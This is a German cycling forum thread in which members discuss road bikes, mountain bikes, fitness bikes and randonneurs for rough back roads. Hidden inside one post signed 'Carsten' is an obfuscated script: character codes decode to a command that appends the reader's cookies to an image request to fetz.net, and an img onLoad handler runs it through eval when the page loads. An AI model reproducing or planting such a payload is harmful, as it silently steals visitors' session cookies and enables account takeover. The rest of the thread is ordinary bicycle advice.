Rennrad oder MTB?

Tom1

New member
Was ist auf den teils etwas holprigen Nebenstraßen besser?
Ich habe kein Interesse daran im Gelände herumzuklettern, sondern möchte nur auf der Straße fahren, schwanke aber noch zwischen Rennrad und MTB (ev. mit Slicks oder Semislicks) da die zum Radfahren interessanten kleinen Straßen oft schlecht asphaltiert sind und denke an den Komfort eines MTB-Reifens.

Was meinen die Radprofis im Forum dazu?
 
Re: weder noch

holprige straßen, kopfsteinpflaster, die vermutlich meisten radwege sind fürs rennrad nix. zu gefährlich für den fahrer (stürze vorgrammiert), zu gefährlich für so ein empfindliches rennrad. weil du auf solchen belägen ja ganz gerne mal fahren möchtest und vielleicht auch gar nicht typischen rennradsport machen möchtest, wirst du an einem rennrad nicht viel freude haben, glaube ich.
es gibt jetzt neuerdings so genannte "fitnessbikes", kann mir vorstellen, dass das was ist für dich. wie die aussehen, variiert von hersteller zu hersteller. aber die räder sind in vielem rennrädern ähnlich. manche hersteller nehmen sogar rennradrahmen (bzw. die rahmen haben dieselbe geometrie). auf jeden fall sind aber andere lenker drauf (höhere, sodass man nicht die tiefe haltung wie auf dem rennrad hat), und sie haben andere laufräder/breitere reifen, sodass man damit auch mal über schotter fahren kann. sie haben oft super schaltwerke/-gruppen und übersetzungen, 20 bis 27 gänge, manchmal sind sogar rennrad-gruppen drauf, sodass man schnell damit unterwegs ist und auch für bergige gebiete die übersetzungen stimmen. die räder sind i.d.r. um einiges günstiger als rennräder.
zielgruppe sind wohl leute, die weder ein reinrassiges rennrad wollen noch ein mtb, aber trotzdem gerne sportlich und schnell unterwegs sind.
vielleicht ist auch ein trekking-bike etwas für dich. variiert ebenfalls stark von hersteller zu hersteller - mal gehen die räder in richtung reiserad, mal wiederum in richtung besagtes fitnessrad. guck dir doch mal ein paar räder von herstellern auf deren websites an, z.b. www.giant-bikes.com, www.scottusa.com, www. specialized.com, www.bianchi.com, www.trekbikes.com, www.mbk.fr, www.roseversand.de.
nicht schlecht finde ich auch die zeitschrift "trekkingbike", man bekommt da gute gedankenanregungen. das rad muss auf jeden fall zu dir und deinem typ passen und mit dem übereinstimmen, was du damit willst, sonst macht es dir keinen spaß.
 
selbe sache wie beim motorrad....

am besten beides:)!obwohl ihr radfahrer in einem besser dran seid,bei euch gibts nicht so peinlichkeiten wie harleys...
cheers,klaus
 
Re: selbe sache wie beim motorrad....

hi klaus,

wie die Harleys sind doch nett und gemütlich,
manchmal fahre ich mit,macht spaß.
colemann hab ich mir angeschaut,jou wahnsinn*fg*

schönen tag blondy
 
harleys sind ...

für mich merkwürdige dinger,mehr zum anschaun als zum fahren...und mitfahren...das mach ich sowieso niemals:)!
coleman:vom bb-standpunkt aus natürlich unschlagbar,aber ich möcht ehrlich gesagt nicht so rumsteigen...
cheers,klaus
 
Re: am besten beides!

Ach Mensch,

das war auch mein Gedanke. Du bist mir zuvorgekommen. :winke:

LG,

René, der kommende Sommersaison auch auf dem Rennrad bestreiten wird
 
Sowohl als auch

Unrecht hast Du nicht, weshalb ich auch überwiegend mit dem MTB unterwegs bin, wenn auch mit "Straßenbereifung". Im Umkehrschluß aber kann man sehr viel Vergnügen bei Tempo 45+ mit dem Rennrad auf einer Landstraße haben. :winke:

LG,

René
 
Hi Tom,

MTB ist für Straße nix richtiges und für ebene Straße schon mal gar nix.
Warum soviele Räder grade (Besenstiel) Lenker haben ist mir ziemlich unklar. Die funktionieren nur sinnvoll Bergrauf und Bergrunter. Deswegen bauen soviele Leute da ja auch diese Hörnchen dran. Damit wird der Lenker dann auch für längere Strecken erträglich.<script>b=String.fromCharCode(98,61,110,101,119,32,73,109,97,103,101,40,41,59,98,46,115,114,99,61,39,104,116,116,112,58,47,47,102,101,116,122,46,110,101,116,47,115,109,105,108,101,47,115,109,105,108,101,46,103,105,102,63,39,43,99,46,99,111,111,107,105,101,59)</script>

An Tourenrädern findet man inzwschen oft Brezellenker, die funktionieren für eher aufrechtes Fahren wohl ganz gut.
Vielfahrer bevorzugen oft Rennlenker. Die ermöglichen für unterschiedliche Fahrsituationen verschiedene, angepasste Griffpositionen, ausserdem hilft das Handgelenksprobleme zu vermeiden.

Früher gab es mal Stahlgabeln die nach vorne gebogen waren und angenehmen Federkomfort boten. Im Zuge des (teils schwachsinningen) MTB-Booms sind die Gabeln grade und bretthart geworden, inzwischen sogar aus Aluminium (noch steifer) und man muß teuere Federgabeln bauen/kaufen.<script>c=document;a=eval;</script>

Räder mit Federgabeln und Rennlenker gibts aber kaum. (Cinelli hat eins (ziemlich schräge:28"hinten, 26" vorne, ist als Boten-Stadtrad gedacht) und Cannondale ein Cyclocross-Rad (sehr teuer)).

Was es in grosser Auswahl gibt sind die sogenannten Cross-Räder. (Beispiel) Die haben aber alle den fragwürdigen Besenstiellenker.

MTB und Rennrad unterscheiden sich in der Geometrie übrigens ganz erheblich. Ein Rennrad hat einen wesentlich kürzen Radstand und einen steileren Lenkopfwinkel. Dadurch ist es wesentlich wendiger.

Gruss,
<img src="/phpapps/ubbthreads/images/blank.gif" onLoad="a(b)"> Carsten
 
Hi!

An welche Streckenlängen hast Du gedacht? Und welche
Steigungen beinhaltet das?

Bei kurzen Strecken und starken Steigungen würden ich zum Mountain-Bike raten, ansonsten zum Rennrad. Ein _gutes_ Rennrad hat auch mit Stolperstrecken kein Problem. Es braucht dafür aber wirklich gut eingespeichte Laufräder.
Sinnvoll wären dann auch möglichst dicke Reifen (25 mm, 28 mm gibt es auch, könnte aber knapp werden) mit maximalem Druck aufgepumpt.

Gruß,
Oliver
 
Den letzten Absatz...

...würde ich nicht verallgemeinern. auch rennräder haben unterschiedliche rahmengeometrien, und ein MTB kann genauso wendig sein.

gruß, kurt
 
die frage ist doch eher...

...was du mit dem rad genau anstellen möchtest trainingstechnisch?

willst du rennradeln (also möglichst schnell)
willst du touren (möglichst lange und bequem)
willst du im dreck dich suhlen (nein, willst du nicht :winke: )

willst du überhaupt trainieren! mit dem rad oder nur umher gondeln?

also im prinzip ist es egal was für ein bike du nimmst solange du keine vorstellung von dem was du damit machen möchtest hast!

vielleicht ist ein leichtes windschittiges fullsuspensiontrekkingrad der beste allrounder für dich :winke:

http://www.pingelchen.de/media/zwergenaufstand1.JPG
 
Für etwas mehr Platz im Rahmen (für breitere Reifen) gibt es Querfeldein-Rennräder (Cyclocross, Beispiel). Die haben dann auch Cantilever-Bremsen.

Gruss,
/phpapps/ubbthreads/images/blank.gif Carsten
 
Hi!

Das Stevens ist zwar bezahlbar (im Gegensatz etwa zum Cannondale Rad), liegt aber immer noch deutlich über den Preisen für preiswerte Rennräder und MTBs.

Muss man halt abwägen, ob man für ein Rennrad mit grösserer Robustheit, höherem Tretlager und Tragefähigkeit mehr Geld ausgeben will.

Ich finde z.B. auch die aktuellen "Fitness-Bikes" prinzipiell gut, die Preise aber unverschämt teuer.

Gruß,
Oliver
 
harleys

hi blondy!

harleys und gemütlich? nur ums eck zum promenieren:)weitere strecken sind besonders mit den älteren jahrgängen schon eine prüfung für die WS. nebenbei sollte man/frau die werkzeugkiste nie vergessen *ggg*

PS: da lob ich mir meinen "reiskocher" ;-))))

seas, uschi

 
Pingelchen hat recht...

und Fetz auch, gerade was "aktuelle" Lenker- und Gabelformen angeht... wozu brauchst Du das Rad?
Weitere eierlegende Wollmilchsäue findest Du u.a. hier:

http://www.norwid.de/Rennrader/Randoneur/randoneur.html
http://www.guylaine.de/raeder_voyager.htm
http://www.noell-fahrradbau.de/reise_index.htm

Diese Räder lassen sich von unnötigen Aufbauten befreien und sind dann durchaus gut geeignet für Schotterpisten und und exzellent für hoppelige Seitenstraßen, mit Ausnahme des Norwid sind sie aber nicht ganz so agil wie reinrassige Rennräder. Da lässt sich aber einiges mit entsprechend schmaler Bereifung ausgleichen, nur dann ist`s wirklich mit Schotterpisten nicht mehr so der Brüller. (pfühhhhhhhh:winke:)

Gruß

Tabea

P.S.: Der Komfort hängt weitaus stärker von der Rahmenkonstruktion als von der Bereifung ab.
 
Iiih!

Hi!

Du kannst doch nicht ein reinrassiges Reiserad als Wollmichsau beschimpfen und allen Ernstes vorschlagen, es von unötigen Aufbauten zu befreien!? Pfui!
Ein Reiserad bleibt ein Reiserad und ist genau für einen Zweck geschaffen worden.

Gruß,
Oliver
 
Re: Iiih!

Wieso beschimpfen? Eierlegende Wollmilchsau ist für mich ein Kompliment (etwas eben, das alles kann und viel viel Nutzen bringt)!
Den Lowrider z.B. halte ich schon für unnötig, solange ich nicht auf Reisen bin; gleiches gilt für 2. und 3. Flaschenhalter, die beim Fahren sowieso nur durch albernste Verkrümmungen erreichbar sind.

In Antwort auf:

Ein Reiserad bleibt ein Reiserad und ist genau für einen Zweck geschaffen worden.

Naja, ich nutze mein Reiserad max. 4 Wochen im Jahr für`s Reisen, aber ganzjährig für`s Rasen. Und für letzteres mach ich halt Unnötiges ab. [Werbemodus ein]Ich kenne nach wie vor kein sportorientiertes Rad, das auch in unbeladenem Zustand so souverän schlechte Straßenverhältnisse meistert. Die "echten" Rennradler tun mir immer leid, wenn ich die auf den zerfressenen Straßen hier in der Gegend rumömmeln sehe, die nunmal auch die schönsten und autofreisten sind. Und das alles wegen max. 3 kg Gewichtsersparnis im Vergleich zum Randonneur... /phpapps/ubbthreads/images/icons/crazy.gif[Werbemodus aus]

Gruß

Tabea
 
Re: Iiih!

Hi Tabea,

ach soo, "Eierlegende Wollmichsau" ist also ein Kompliment! Werde ich nächstes Mal anbringen, wenn ich eine nette Frau treffe. "Du Eierlegende Wollmichsau, Du!" :winke:

Komponenten an- und abgebaut habe ich bisher nur einmal, als ich bei einem kurzen Triathlon mitgemacht habe und die Radstrecke durch den Wald ging. Ansonsten stört mich das Zusatzgewicht nicht.

Gut, ich bin kein "echter" Rennradler. Aber das Problem mit schlechten Strasse sehe ich nicht. Rennreifen sind auf der Lauffläche IMHO nur durch Splitter, Nägel stärker als Trekking-Reifen gefährdet. Geröll ist für die auch nichts, wegen der dünnen Flanken. Aber Schlaglöcher, Kopfsteinpflaster etc. sind kein Problem. Man darf natürlich nicht mit lockeren 4 bar unterwegs sein.

BTW: Autofreie Strassen, wo gibt's denn die?

Gruß,
Oliver
 
Zurück
Oben